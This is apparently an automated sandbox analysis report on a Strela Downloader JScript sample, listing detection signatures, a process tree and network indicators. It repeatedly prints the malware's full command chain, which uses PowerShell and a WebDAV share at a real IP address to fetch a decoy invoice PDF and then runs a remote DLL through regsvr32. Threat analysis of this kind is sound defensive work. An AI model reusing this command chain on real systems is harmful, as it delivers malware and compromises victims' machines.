Edit tour

Windows Analysis Report
10965191911914222758.js

Overview

General Information

Sample name:	10965191911914222758.js
Analysis ID:	1588228
MD5:	817eecd4d5fbcf3224a451445846c7db
SHA1:	ab37cb426082e0828e09f24a34afee54a79a7c26
SHA256:	68d6fd3f879cc070fa65aabacfad5c47cf74808cd31d57a6c400447379d522fb
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6632 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10965191911914222758.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6716 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6724 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6764 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6948 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5720 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5692 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1628,i,3187756067259399112,7891253173084942804,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6964 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7000 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6344 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6632	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6716, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6764, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6716, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6764, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10965191911914222758.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10965191911914222758.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4088, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10965191911914222758.js", ProcessId: 6632, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7000, Protocol: tcp, SourceIp: 192.168.2.12, SourceIsIpv6: false, SourcePort: 49711

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10965191911914222758.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6632, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, ProcessId: 6716, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10965191911914222758.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6632, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, ProcessId: 6716, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10965191911914222758.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6632, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, ProcessId: 6716, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10965191911914222758.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6632, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, ProcessId: 6716, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10965191911914222758.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6632, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, ProcessId: 6716, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10965191911914222758.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10965191911914222758.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4088, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10965191911914222758.js", ProcessId: 6632, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6716, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6764, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6964, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7000, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6344, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6964, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7000, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10965191911914222758.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6632, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, ProcessId: 6716, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:51:44.418061+0100	1810005	1	Potentially Bad Traffic	192.168.2.12	49711	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:51:41.851009+0100	1810000	2	Potentially Bad Traffic	192.168.2.12	49710	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 10965191911914222758.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 10965191911914222758.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.12:49711 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:51:41 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: global traffic

TCP traffic: 192.168.2.12:49711 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.12:49710 -> 193.143.1.205:80

Source: global traffic

